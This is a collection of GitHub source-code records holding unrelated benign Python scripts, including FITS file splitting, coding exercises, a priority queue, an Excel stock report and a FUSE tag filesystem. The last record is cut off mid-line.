re.compile(r'^[0-9]{2}[a-zA-Z]{3}[0-9]{2}.?$')\n\tfor ld in listDir:\n\t\tif os.path.isdir(sys.argv[1] + '/' + ld) and regex.match(ld): \n\t\t\tresp.append(ld)\t\t\n\treturn resp\n\ndef printDir(listDir):\n\tfor ld in listDir:\n\t\tprint(os.path.abspath(sys.argv[1]) + '/' + ld)\n\ndef removeDir(listDir):\n\trm = ['bias', 'flat', 'lixo', '.DS_Store'] # Add to this list the directories that should be ignored by splitHDR\n\ttemp = list(listDir)\n\tfor ld in listDir:\n\t\tif ld in rm:\n\t\t\ttemp.remove(ld)\n\treturn temp\n\t#lista do bias e flat (NUMKIN)\n\ndef simpleList(path, list_dir):\n\tfor ld in list_dir:\n\t\tos.chdir(path + '/' + ld)\n\t\tfiles = os.listdir('.')\n\t\tlistFile = open(ld + '.list', 'w')\n\t\tparent = os.path.dirname(os.getcwd())\n\t\tprint('Creating a simple list for: ' + parent + '/' + ld)\n\t\tfor lf in files:\n\t\t\tif lf.split('.')[-1] == 'fits':\n\t\t\t\tlistFile.write(parent + '/' + ld + \"/\" + lf + \"\\n\")\n\n\t\ndef splitHDR(listDir):\n\tfor ld in listDir:\n\t\ttemp = os.path.abspath(sys.argv[1]) + '/' + ld\n\t\tsimpleList(temp, ['bias','flat']) # Add to this list directories that should be listed and not splitted\n\t\tos.chdir(temp)\n\t\tlistObjects = os.listdir('.')\n\t\tlistObjects = removeDir(listObjects)\n\t\tfor lo in listObjects:\n\t\t\tif not os.path.isdir(lo): continue\n\t\t\tos.chdir(lo)\n\t\t\tlistFile = open(lo + '.list', 'w')\n\t\t\tlistFile_no_path = open(lo + '_no_path.list', 'w') \n\t\t\tparent = os.path.dirname(os.getcwd())\n\t\t\tlistFits = os.listdir('.')\n\t\t\tfor lf in sorted(listFits):\n\t\t\t\tif lf.split('.')[-1] == 'fits':\n\t\t\t\t\thdu = fits.open(lf)\n\t\t\t\t\tif ('NUMKIN' not in hdu[0].header.keys()) or ('SPLITHDR' in hdu[0].header.keys()): continue\n\t\t\t\t\tprint('\\nProcessing the file: ' + os.path.abspath(lf))\n\t\t\t\t\thdu.info()\n\t\t\t\t\tn = hdu[0].header['NUMKIN']\n\t\t\t\t\tif n > 0 :\n\t\t\t\t\t header = hdu[0].header\n\t\t\t\t\t header['NUMKIN'] = 1\n\t\t\t\t\t header['SPLITHDR'] = 1\n\t\t\t\t\t header['SOURCE'] = lf\n\t\t\t\t\t for i in range (n):\n\t\t\t\t\t hdu_temp1 = fits.PrimaryHDU(hdu[0].data[i])\n\t\t\t\t\t hdu_temp2 = fits.HDUList([hdu_temp1])\n\t\t\t\t\t hdu_temp2[0].header = header\n\t\t\t\t\t hdu_temp2.writeto(lf[:-len(lf.split('_')[-1])] + str(\"%02d\" % i) + '.fits', overwrite=True)\n\t\t\t\t\t listFile.write(parent + '/' + lo + \"/\" + lf[:-len(lf.split('_')[-1])] + str(\"%02d\" % i) + '.fits' + \"\\n\")\n\t\t\t\t\t listFile_no_path.write(lf[:-len(lf.split('_')[-1])] + str(\"%02d\" % i) + '.fits' + \"\\n\")\n\t\t\tlistFile.close()\n\t\t\tlistFile_no_path.close()\n\n\t\t\tos.chdir('..')\n\t\tos.chdir('../..')\n\n#Checking if the argument is a valid directory \nif not validate():\n\tprint('You must specify a valid directory.')\n\tsys.exit()\n\n#Creating a list of valid subdirectories using the pattern YY/month/DD\nlistDir = createList(sys.argv[1])\n\n#Listing found directories \nprint('The following directories will be processed by splitHDR')\nprintDir(listDir)\ntime.sleep(3)\nprint('')\n\n#Calling the method splitHDR to split fits files using the variable NUMKIN and create a list of\n#generated fits files\nsplitHDR(listDir)","repo_name":"lllmanriquelll/lib_AMM","sub_path":"splitHDR.py","file_name":"splitHDR.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24226121989","text":"# Using Recursion; take two numbers in from the user (a human) and add them together \r\n# then separate the least significant digit and add it the remaining digits and so on \r\n# until you have a single digit answer.\r\n#\r\n# Must accept two numbers as user input\r\n# Must use recursion to reach single digit answer\r\n#\r\n# Tests\r\n# Non-integer/float inputs (Unhappy paths)\r\n# num1 = foo, num2 = 10 Result: Error message displayed after num1 is entered\r\n# num1 = 10, num2 = foo Result: Error message displayed after num2 is entered\r\n# num1 = \"\", num2 = 10 Result: Error message displayed after num1 is entered\r\n# num1 = 10, num2 = \"\" Result: Error message displayed after num2 is entered\r\n# Negative inputs\r\n# num1 = -123, num2 = -456 Expected: -3 Result: -3\r\n# num1 = -123, num2 = 456 Expected: 9 Result: 9\r\n# num1 = 0, num2 = -39 Expected: -3 Result: -3 \r\n# Zero as sum\r\n# num1 = 0, num2 = 0 Expected: 0 Result: 0\r\n# Float inputs\r\n# num1 = 1.23, num2 = 4.56 Expected: 3 Result: 3\r\n# num1 = 1.3999, num2 = 3.1 Expected: 8 Result: 8\r\n# Integer inputs\r\n# num1 = 123, num2 = 456 Expected: 3 Result: 3\r\n# Mixed inputs\r\n# num1 = 1.23, num2 = 456 Expected: 3 Result: 3\r\n# num1 = 123, num2 = 4.56 Expected: 3 Result: 3\r\n# num1 = -1.23, num2 = 456 Expected: 9 Result: 9\r\n# num1 = -123, 4.56 Expected: 9 Result: 9\r\n#\r\n# Done: Calculates single digit answer given 2 numbers and gracefully ends execution.\r\n# Notifies the user if any error occurs or if a single digit answer is not calculated.\r\n# Gracefully ends execution if an error occurs.\r\n\r\nfrom math import floor, log10\r\nimport sys\r\n\r\n# Recursively calls until a single digit number is found given an integer sum\r\ndef addLeastSignificantDigitInt(sum):\r\n if(getNumDigitsInt(sum) == 1):\r\n return sum\r\n return addLeastSignificantDigitInt((sum%10)+(floor(sum/10)))\r\n\r\n# Recursively calls until a single digit number is found given a float sum\r\n# which is passed in as a string to be correctly parsed\r\ndef addLeastSignificantDigitFloat(sum):\r\n if(getNumDigitsFloat(str(sum)) == 1):\r\n # We've found a single digit answer, let's return and display it to the user\r\n return sum\r\n if(float(sum) > 0):\r\n digit = int(sum[-1])\r\n else:\r\n # If we have a negative sum, we need to account for the fact that\r\n # the last digit is negative\r\n digit = int(sum[-1]) * -1\r\n # Cast the new value as a string since we are using string manipulation\r\n # to parse the float value\r\n return addLeastSignificantDigitFloat(str(digit + int(sum[:-1].replace('.',''))))\r\n\r\n# Returns the number of decimal places in a number passed in as a string\r\n# to be correctly parsed\r\ndef getNumDecimalPlaces(num):\r\n return len(num.split('.')[1])\r\n\r\n# Returns the number of digits in an integer\r\ndef getNumDigitsInt(num):\r\n try:\r\n if(num == 0):\r\n return 1\r\n if(num < 0):\r\n # Make negative number positive for log10 bounds\r\n num = num * -1\r\n return floor(log10(num) + 1)\r\n except ValueError:\r\n # Bad value for num passed = 0 digits\r\n return 0\r\n\r\n# Returns the number of digits in a float passed in as a string to be\r\n# correctly parsed\r\ndef getNumDigitsFloat(num):\r\n try:\r\n # We need to account for the fact that negative symbol could be included\r\n # since the method used to get the number of digits is counting characters\r\n return len(num) if '-' not in num else len(num)-1\r\n except ValueError:\r\n # Bad value for num passed = 0 digits\r\n return 0\r\n\r\n# Main execution below\r\n\r\n# Accept input from the user\r\nnum1 = input('Enter number 1: ')\r\nif '.' in num1:\r\n # If we have a decimal in an input, user may have given a float, try to parse it\r\n try:\r\n num1 = float(num1)\r\n decimalsInNumOne = getNumDecimalPlaces(str(num1))\r\n except ValueError:\r\n # String was passed instead of a float. Notify the user and exit\r\n print('Program only accepts number inputs. Please try again.')\r\n sys.exit()\r\nelse:\r\n # No float passed, let's see if the user entered an integer instead\r\n try:\r\n num1 = int(num1)\r\n decimalsInNumOne = 0\r\n except ValueError:\r\n # String was passed instead of an integer. Notify the user and exit\r\n print('Program only accepts number inputs. Please try again.')\r\n sys.exit()\r\n\r\nnum2 = input('Enter number 2: ')\r\nif '.' in num2:\r\n # If we have a decimal in an input, user may have given a float, try to parse it\r\n try:\r\n num2 = float(num2)\r\n decimalsInNumTwo = getNumDecimalPlaces(str(num2))\r\n except ValueError:\r\n # String was passed instead of a float. Notify the user and exit\r\n print('Program only accepts number inputs. Please try again.')\r\n sys.exit()\r\nelse:\r\n # No float passed, let's see if the user entered an integer instead\r\n try:\r\n num2 = int(num2)\r\n decimalsInNumTwo = 0\r\n except ValueError:\r\n # String was passed instead of an integer. Notify the user and exit\r\n print('Program only accepts number inputs. Please try again.')\r\n sys.exit()\r\n\r\n\r\nif(decimalsInNumOne > decimalsInNumTwo):\r\n roundNumber = decimalsInNumOne\r\nelse:\r\n roundNumber = decimalsInNumTwo\r\n# Calculate the sum and round to whichever has the larger amount\r\n# of digits after the decimal, if a float is given by the user\r\nsum = round(num1 + num2, roundNumber)\r\n# Call the recursive function depending on whether or not the calculated sum\r\n# is an integer or float and print the answer\r\nif(type(sum) == float):\r\n print(f'The calculated single digit answer is: {int(addLeastSignificantDigitFloat(str(sum)))}')\r\nelse:\r\n print(f'The calculated single digit answer is: {addLeastSignificantDigitInt(sum)}')\r\n# End execution\r\nsys.exit()","repo_name":"lwhitelaw/4250_940","sub_path":"IMPL-MichaelBurleson.py","file_name":"IMPL-MichaelBurleson.py","file_ext":"py","file_size_in_byte":6063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11548504541","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2020/11/17 16:58\r\n# @Author : Danrui Wang\r\n# @File : abundance_calculate.py\r\n# @Software : PyCharm\r\n\r\nimport sys\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndef abun_calcu(in_seq, in_bam, in_sample, out_abun):\r\n references = []\r\n #input the fasta file generated by HEMIRGE\r\n with open(in_seq, \"r\") as f1:\r\n data = f1.readlines()\r\n for line in data:\r\n if line.startswith(\">\"):\r\n line = line.replace(\">\", \"\",1).replace(\"\\n\",\"\")\r\n references.append(line)\r\n #Input the txt file of sample names\r\n samples = []\r\n with open(in_sample, \"r\") as f2:\r\n data = f2.readlines()\r\n for line in data:\r\n line = line.replace(\"\\n\", \"\")\r\n samples.append(line)\r\n # print(samples)\r\n # print(references)\r\n abun = pd.DataFrame(index=references, columns=samples)\r\n abun.loc[:, :] = 0\r\n #Input the bam file generated by HEMIRGE\r\n with open(in_bam, \"r\") as f3:\r\n data = f3.readlines()\r\n for line in data:\r\n seq = line.split(\"\\t\")[0]\r\n ref = line.split(\"\\t\")[2]\r\n # print(name_h)\r\n for i in samples:\r\n if i in seq:\r\n abun.at[ref, i] += 1\r\n # Output the abundance in txt formate\r\n a = os.getcwd()\r\n abun.to_csv(out_abun, sep=\"\\t\", index=True)\r\n\r\ndef shorten_fasta(in_fasta, out_fasta):\r\n with open(in_fasta, mode=\"r\", encoding=\"utf-8\") as f1:\r\n with open(out_fasta, mode=\"w\", encoding=\"utf-8\") as w1:\r\n data = f1.readlines()\r\n length = len(data)\r\n w1.write(data[0])\r\n for n in range(1,length-1):\r\n if data[n].startswith(\">\"):\r\n w1.write(\"\\n\"+data[n])\r\n else:\r\n line = data[n].replace(\"\\n\",'')\r\n w1.write(line)\r\n w1.write(data[length-1])\r\n\r\ndef main(argv=sys.argv[1:]):\r\n f_seq = sys.argv[1]\r\n f_bam = sys.argv[2]\r\n f_sample = sys.argv[3]\r\n f_abun = sys.argv[4]\r\n f_fasta = sys.argv[5]\r\n\r\n abun_calcu(f_seq, f_bam, f_sample, f_abun)\r\n shorten_fasta(f_seq, f_fasta)\r\n\r\nmain()\r\n","repo_name":"yedeng-lab/Reprogrammed-EMIRGE","sub_path":"abundance_calculate.py","file_name":"abundance_calculate.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3007665767","text":"print(__name__)\nprint('---------------')\n\n\nclass A:\n def show_moudle(self):\n print(self.__class__.__name__)\n\n\nif __name__ == '__main__':\n a = A() # 程序运行方式__name__ = __main__\n a.show_moudle()\nelse:\n print('add') # 以模块导入的方式运行时,__name__ = 模块名\n ","repo_name":"ZoesZhou/python_edu","sub_path":"OOP/tt1.py","file_name":"tt1.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13030035487","text":"'''\nID: philoin1\nLANG: PYTHON3\nTASK: milk2\n'''\nf = open('milk2.in', 'r')\nw = open('milk2.out', 'w')\ndata = f.read().split('\\n')\nnum = data[0]\n#pop the first line and last line(empty line)\ndata = data[1:-1]\ndef split(string):\n return list(map(int,string.split()))\ntime = list(map(split,data))\n#sort based on the starting time\ntime.sort(key=lambda t:t[0]) \nres = [time[0]]\nfor i in range(1,len(time)):\n if time[i][0] > res[-1][1]:\n res.append(time[i])\n else:\n res[-1][1] = max(res[-1][1], time[i][1])\nmilked = max(res,key=lambda t:t[1]-t[0])\nmilked = milked[1] - milked[0]\nnotmilked = 0\nfor i in range(0,len(res)-1):\n notmilked = max(notmilked, res[i+1][0]-res[i][1])\nw.write(\"%d %d\\n\"%(milked,notmilked))","repo_name":"philoinovsky/USACO-Traning-Python3-Solution","sub_path":"chapter1/section1.3/milk2.py","file_name":"milk2.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"35672467480","text":"class Solution(object):\n # https://leetcode-cn.com/problems/counting-bits/\n def countBits(self, num):\n \"\"\"\n :type num: int\n :rtype: List[int]\n \"\"\"\n ans = [0] * (num + 1)\n\n for i in range(1,num + 1):\n ans[i] = ans[ i&(i - 1) ] + 1\n return ans","repo_name":"DemonZhou/leetcode","sub_path":"countBits.py","file_name":"countBits.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42839429107","text":"\"\"\"\nThis class is an implementation of a (minimum) priority queue using an array backing. \nIt holds on to data as a list of tuples: (data, priority)\n\n\"\"\"\nfrom collections import deque\n\nclass PriorityQueue():\n\n def __init__(self):\n self.queue = []\n\n \"\"\"Push item onto heap, maintaining the heap invariant afterwards.\"\"\"\n def push(self, item):\n if type(item) != tuple or type(item[1]) != int:\n raise ValueError('Item to insert must be a tuple of (data, int(priority))')\n self.queue.append(item)\n self.fixup_queue(0, len(self.queue)-1)\n\n \"\"\"\n Borrowed from the python heap implementation here https://hg.python.org/cpython/file/3.3/Lib/heapq.py\n 'heap' is a heap at all indices >= startpos, except possibly for pos. pos\n is the index of a leaf with a possibly out-of-order value. Restore the\n heap invariant.\n \"\"\"\n def fixup_queue(self, startpos, pos):\n newitem = self.queue[pos]\n # Follow the path to the root, moving parents down until finding a place\n # newitem fits.\n while pos > startpos:\n # parentpos = (pos - 1) >> 1\n parentpos = (pos - 1) // 2\n parent = self.queue[parentpos]\n print(\"comparing newitem \" + str(newitem[1]) + \" to olditem \" + str(parent[1]))\n if newitem[1] < parent[1]:\n print(\"newitem \" + str(newitem[1]) + \" is less than olditem \" + str(parent[1]))\n self.queue[pos] = parent\n pos = parentpos\n continue\n print(\"newitem \" + str(newitem[1]) + \" is greater than olditem \" + str(parent[1]) + \" so will insert it here at \" + str(pos))\n break\n print(\"gonna insert \" + str(newitem[1]) + \" at position \" + str(pos))\n\n self.queue[pos] = newitem\n # print(\"queue is now: \")\n # self.print_queue()\n\n def print_queue(self):\n for item in self.queue:\n print(item)\n\n def peek(self):\n if len(self.queue) < 1:\n raise IndexError('Cannot peek() because there is nothing in the queue')\n return self.queue[0]\n\np = PriorityQueue()\n\n\np.push(('three', 3))\np.push(('four', 4))\np.push(('zero', 0))\n\np.print_queue()\n# print(p.peek())","repo_name":"ilanasufrin/dsa","sub_path":"priorityQueues/priorityQueue.py","file_name":"priorityQueue.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10883786710","text":"import pandas as pd\r\nimport shutil\r\nimport os\r\nimport glob\r\n\r\npath = 'C:/Users/Leo/Python/Relatório de Estoque/dados/'\r\nsave_path = 'C:/Users/Leo/Python/Relatório de Estoque/'\r\nfiles = glob.glob(os.path.join(path, '*'))\r\n\r\n\r\ndef welcome_msg():\r\n print('******************************************************************')\r\n print('************** ***************')\r\n print('************** RELATÓRIO DE ESTOQUE ***************')\r\n print('************** ***************')\r\n print(f'******************************************************************\\n')\r\n\r\n\r\ndef clear_folder():\r\n if os.path.exists(path):\r\n for f in files:\r\n os.remove(f)\r\n\r\n\r\ndef getting_files():\r\n dbf1 = 'T:/SISTEMAS/SAPE1/PADRAO/PRODUTO.DBF'\r\n dbf2 = 'T:/SISTEMAS/SAPE2/PADRAO/PRODUTO.DBF'\r\n dbf3 = 'T:/SISTEMAS/SAPE3/PADRAO/PRODUTO.DBF'\r\n dbf4 = 'T:/SISTEMAS/SAPE4/PADRAO/PRODUTO.DBF'\r\n\r\n dbfs = [dbf1, dbf2, dbf3, dbf4]\r\n\r\n n = 1\r\n for d in dbfs:\r\n shutil.copy(d, os.path.join(path, f'produto{n}.xls'))\r\n n = n + 1\r\n\r\n\r\nwelcome_msg()\r\n\r\ndelete_files = str(input(f'Deseja deletar os arquivos antigos [S/N]? ')).upper()[0]\r\n\r\nwhile delete_files not in 'SN':\r\n delete_files = str(input('Escolha [S/N]: ')).upper()[0]\r\n\r\nif delete_files == 'S':\r\n clear_folder()\r\n getting_files()\r\n print(f'\\n******************************************************************')\r\n\r\n x = str(input('\\nSalve os arquivos como .xlsx e aperte \"C\" para continuar: ')).upper()[0]\r\n\r\n while x not in 'C':\r\n x = str(input('Aperte \"C\" para continuar: ')).upper()[0]\r\n\r\nprint(f'\\n******************************************************************\\n')\r\n\r\ninicio = int(input('Qual a primeira referência? '))\r\nfim = int(input('Qual a última referencia? '))\r\n\r\nproduto1 = pd.read_excel(os.path.join(path, 'PRODUTO1.xlsx'))\r\nproduto2 = pd.read_excel(os.path.join(path, 'PRODUTO2.xlsx'))\r\nproduto3 = pd.read_excel(os.path.join(path, 'PRODUTO3.xlsx'))\r\nproduto4 = pd.read_excel(os.path.join(path, 'PRODUTO4.xlsx'))\r\n\r\nproduto1 = pd.DataFrame(produto1[['COD_EST', 'DESCRICAO', 'VALOR_VEND', 'ULT_CUSTO', 'SALDO_ATU']].rename(columns={'COD_EST': 'Codigo', 'DESCRICAO': 'Descrição', 'VALOR_VEND': 'Venda', 'ULT_CUSTO': 'Custo', 'SALDO_ATU': 'L4'}))\r\nproduto1 = produto1.sort_values(by='Codigo', ignore_index=True)\r\nproduto1['Venda'] = produto1['Venda'].round(2)\r\nproduto1['Custo'] = produto1['Custo'].round(0)\r\n\r\nproduto2 = pd.DataFrame(produto2[['COD_EST', 'DESCRICAO', 'VALOR_VEND', 'ULT_CUSTO', 'SALDO_ATU']].rename(columns={'COD_EST': 'Codigo', 'DESCRICAO': 'Descrição', 'VALOR_VEND': 'Venda', 'ULT_CUSTO': 'Custo'}))\r\nproduto2 = produto2.sort_values(by='Codigo', ignore_index=True)\r\n\r\nproduto3 = pd.DataFrame(produto3[['COD_EST', 'DESCRICAO', 'VALOR_VEND', 'ULT_CUSTO', 'SALDO_ATU']].rename(columns={'COD_EST': 'Codigo', 'DESCRICAO': 'Descrição', 'VALOR_VEND': 'Venda', 'ULT_CUSTO': 'Custo'}))\r\nproduto3 = produto3.sort_values(by='Codigo', ignore_index=True)\r\n\r\nproduto4 = pd.DataFrame(produto4[['COD_EST', 'DESCRICAO', 'VALOR_VEND', 'ULT_CUSTO', 'SALDO_ATU']].rename(columns={'COD_EST': 'Codigo', 'DESCRICAO': 'Descrição', 'VALOR_VEND': 'Venda', 'ULT_CUSTO': 'Custo'}))\r\nproduto4 = produto4.sort_values(by='Codigo', ignore_index=True)\r\n\r\ndados = produto1\r\ndados['L2'] = produto2['SALDO_ATU']\r\ndados['RT'] = produto4['SALDO_ATU']\r\ndados['EST'] = produto3['SALDO_ATU']\r\ndados['Total'] = dados['L4'] + dados['L2'] + dados['EST'] + dados['RT']\r\n\r\ndados['Codigo'] = pd.to_numeric(dados['Codigo'], errors='coerce')\r\nselecao = (dados['Codigo'] >= inicio) & (dados['Codigo'] <= fim)\r\ndados_selecao = dados[selecao]\r\ndffinal = dados_selecao\r\n\r\ndffinal.to_excel(f'Relatório_Estoque_{inicio}-{fim}.xlsx', index=False)\r\n\r\nprint(f'\\n******************************************************************\\n')\r\n\r\nprint(f'O arquivo foi salvo em {save_path}')\r\n\r\nprint(f'\\n******************************************************************')\r\n\r\ninput(f'\\nAperte qualquer tecla para encerrar... ')\r\n","repo_name":"lcaldara/python3","sub_path":"Relatório de Estoque/Relatório de Estoque.py","file_name":"Relatório de Estoque.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25033140815","text":"import pdb\nimport time\nimport threading\nimport argparse\nimport unittest\nimport fuse\nimport os\nfrom os.path import basename, dirname, join\n\nimport gtag_common\n\nGTAG_STAGING_DIR = join(os.getenv(\"HOME\"), \".gtag\", \"stage\")\n\ndef make_unique_name(name, onames):\n # assume that all names have same basenames\n # remove the name itself from onames (even if it appears more than once)\n while name in onames:\n del onames[onames.index(name)]\n\n outname = basename(name)\n while basename(name) in (basename(f) for f in onames):\n onames = (dirname(f) for f in onames)\n name = dirname(name)\n\n if name == \"/\":\n # keep the slash\n bname = name\n else:\n bname = basename(name)\n # now the basename is unique\n outname = \"[{}]{}\".format(bname, outname)\n return outname\n\nclass MakeUniqueNameTester(unittest.TestCase):\n def test_it(self):\n self.assertEqual(make_unique_name(\"/alpha/file.txt\", [\"/alpha/file.txt\", \"/beta/file.txt\"]), \"[alpha]file.txt\")\n self.assertEqual(make_unique_name(\"/file.txt\", [\"/alpha/file.txt\", \"/beta/file.txt\"]), \"[/]file.txt\")\n self.assertEqual(make_unique_name(\"file.txt\", [\"/file.txt\", \"/beta/file.txt\"]), \"[]file.txt\")\n self.assertEqual(make_unique_name(\"/file.txt\", [\"file.txt\", \"/beta/file.txt\"]), \"[/]file.txt\")\n\ndef file_mapping(root, files):\n # take the root and the last component of the file\n # and join them together\n\n # make a list of basenames\n basenames = {}\n for f in files:\n bname = basename(f)\n if not bname in basenames:\n basenames[bname] = []\n basenames[bname].append(f)\n\n mapping = {}\n for f in files:\n bname = basename(f)\n # check for uniquness\n if len(basenames[bname]) > 1:\n uniquename = make_unique_name(f, basenames[bname])\n mountfile = join(root, uniquename)\n else:\n mountfile = join(root, basename(f))\n\n mapping[mountfile] = f\n\n return mapping\n\n\nclass GutenTagMount(fuse.Operations):\n def __init__(self, gt):\n self._gt = gt\n self._gt.openDb()\n\n self._mounts = []\n\n os.makedirs(GTAG_STAGING_DIR, exist_ok = True)\n os.makedirs(gtag_common.GTAG_MOUNT_ROOT, exist_ok = True)\n\n self._lock_mounts = threading.Lock()\n\n def start(self):\n fuse.FUSE(self, gtag_common.GTAG_MOUNT_ROOT, nothreads=True, foreground=True)\n\n # Private methods\n # ===============\n\n def _files(self, tagterm):\n return self._gt.files(tagterm)\n\n def _true_path(self, path):\n \"\"\"\n for a file which is listed in mappings, this returns the true path for that file\n for a file or dir that is not listed in mappings, this returns a path in staging dir\n for a tagterm mount this should not be called\n \"\"\"\n # path always starts with a '/'\n path_split = path.split('/')\n if len(path_split) < 3:\n raise Exception(\"path has to few components: {}\".format(path))\n\n tagterm = path_split[1]\n\n if not tagterm in self._mounts:\n raise Exception(\"unknown mount path: {}\".format(path))\n\n files = self._files(tagterm)\n mapping = file_mapping(\"/\", files)\n\n # mapping filenames do net contain the tagterm, so remove it\n relpath = path[len(tagterm)+1:]\n if relpath in mapping:\n true_path = mapping[relpath]\n else:\n true_path = join(GTAG_STAGING_DIR, path.lstrip('/'))\n\n return true_path\n\n # Public methods\n # ==============\n\n def add_mount(self, tagterm):\n with self._lock_mounts:\n if tagterm in self._mounts:\n raise Exception(\"mount already exists: {}\".format(tagterm))\n self._mounts.append(tagterm)\n\n def delete_mount(self, tagterm):\n with self._lock_mounts:\n if not tagterm in self._mounts:\n raise Exception(\"mount not existent: {}\".format(tagterm))\n del self._mounts[self._mounts.index(tagterm)]\n\n # Filesystem methods\n # ==================\n\n def access(self, path, mode):\n print(\"access to {}\".format(path))\n\n path_split = path.rstrip('/').split('/')\n if len(path_split) < 2:\n # this is root\n pass\n elif len(path_split) < 3:\n # this is a mount\n tagterm = path_split[1]\n if not tagterm in self._mounts:\n raise Exception(\"unknown mount path: {}\".format(path))\n # TODO idea: mount the tagterm on the fly\n else:\n true_path = self._true_path(path)\n if not os.access(true_path, mode):\n raise FuseOSError(errno.EACCES)\n\n def chmod(self, path, mode):\n # raises on mount or root\n true_path = self._true_path(path)\n return os.chmod(true_path, mode)\n\n def chown(self, path, uid, gid):\n # raises on mount or root\n true_path = self._true_path(path)\n return os.chown(true_path, uid, gid)\n\n def getattr(self, path, fh=None):\n print(\"getattr {})\".format(path))\n path_split = path.rstrip('/').split('/')\n ret = {'st_atime': 0, 'st_ctime': 0, 'st_gid': os.getgid(), 'st_mode': int('0o40700', 8), 'st_mtime': 0, 'st_nlink': 0, 'st_size': 0, 'st_uid': os.getuid()}\n if len(path_split) < 2:\n # this is root\n # TODO maybe remove write permissions here\n return ret\n\n elif len(path_split) < 3:\n # this is a mount\n # first approach give the stat of the root\n # TODO later change atime, ctime, mtime\n tagterm = path_split[1]\n if not tagterm in self._mounts:\n raise FileNotFoundError(\"unknown mount path: {}\".format(path))\n # TODO idea: mount the tagterm on the fly\n return ret\n else:\n true_path = self._true_path(path)\n\n st = os.lstat(true_path)\n print(\"getattr {} ({})\".format(path, true_path))\n return dict((key, getattr(st, key)) for key in ('st_atime', 'st_ctime', 'st_gid', 'st_mode', 'st_mtime', 'st_nlink', 'st_size', 'st_uid'))\n\n def readdir(self, path, fh):\n print(\"readdir {}\".format(path))\n path_split = path.rstrip('/').split('/')\n dirents = ['.', '..']\n if len(path_split) < 2:\n # this is root\n dirents.extend(self._mounts)\n\n elif len(path_split) < 3:\n # this is a mount\n tagterm = path_split[1]\n if not tagterm in self._mounts:\n raise Exception(\"unknown mount path: {}\".format(path))\n\n mapping = file_mapping(\"/\", self._files(tagterm))\n for f in mapping:\n print(\"f = {}\".format(f))\n file_split = f.rstrip('/').split('/')\n dirents.append(file_split[1])\n\n # make unique\n dirents = list(set(dirents))\n\n else:\n true_path = self._true_path(path)\n if os.path.isdir(true_path):\n dirents.extend(os.listdir(true_path))\n\n for r in dirents:\n yield r\n\n # def readlink(self, path):\n # pathname = os.readlink(self._true_path(path))\n # if pathname.startswith(\"/\"):\n # # Path name is absolute, sanitize it.\n # return os.path.relpath(pathname, self.root)\n # else:\n # return pathname\n\n # def mknod(self, path, mode, dev):\n # return os.mknod(self._true_path(path), mode, dev)\n\n # def rmdir(self, path):\n # true_path = self._true_path(path)\n # return os.rmdir(true_path)\n\n # def mkdir(self, path, mode):\n # return os.mkdir(self._true_path(path), mode)\n\n # def statfs(self, path):\n # print(\"statfs {}\".format(path))\n # true_path = self._true_path(path)\n # stv = os.statvfs(true_path)\n # return dict((key, getattr(stv, key)) for key in ('f_bavail', 'f_bfree',\n # 'f_blocks', 'f_bsize', 'f_favail', 'f_ffree', 'f_files', 'f_flag',\n # 'f_frsize', 'f_namemax'))\n\n # def unlink(self, path):\n # return os.unlink(self._true_path(path))\n\n # def symlink(self, name, target):\n # return os.symlink(name, self._true_path(target))\n\n # def rename(self, old, new):\n # # TODO: not so easy\n # return os.rename(self._true_path(old), self._true_path(new))\n\n # def link(self, target, name):\n # return os.link(self._true_path(target), self._true_path(name))\n\n # def utimens(self, path, times=None):\n # return os.utime(self._true_path(path), times)\n\n\n # File methods\n # ============\n\n # def open(self, path, flags):\n # true_path = self._true_path(path)\n # return os.open(true_path, flags)\n\n # def create(self, path, mode, fi=None):\n # true_path = self._true_path(path)\n # ret = os.open(true_path, os.O_WRONLY | os.O_CREAT, mode)\n # self._mapping[path.lstrip(\"/\")] = true_path # TODO: what to do, if the file already exists in stage?\n # return ret\n\n # def read(self, path, length, offset, fh):\n # os.lseek(fh, offset, os.SEEK_SET)\n # return os.read(fh, length)\n\n # def write(self, path, buf, offset, fh):\n # os.lseek(fh, offset, os.SEEK_SET)\n # return os.write(fh, buf)\n\n # def truncate(self, path, length, fh=None):\n # true_path = self._true_path(path)\n # with open(true_path, 'r+') as f:\n # f.truncate(length)\n\n # def flush(self, path, fh):\n # return os.fsync(fh)\n\n # def release(self, path, fh):\n # return os.close(fh)\n\n # def fsync(self, path, fdatasync, fh):\n # return self.flush(path, fh)\n\nclass DummyDaemon:\n def files(self):\n return ['/a', '/b']\n\ndef main():\n dummy_daemon = DummyDaemon()\n operations = GutenTagMount(dummy_daemon)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"matlantis/gtag","sub_path":"gtagmount.py","file_name":"gtagmount.py","file_ext":"py","file_size_in_byte":9918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71014496747","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 04 18:52:27 2018\n\n@author: Chinmay Deval\n\"\"\"\n\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom functions import *\nfrom scipy import optimize as op\n\n#p0 = [tbase, train, tsnow, k]\n#p0 = [0,3,0,2.29]\np0 = [0.2486748, 2.4000002, -0.8000008, 2.3418852] ### taken from R optim for now. TBD: implement optimization within this python script\nfilepath= 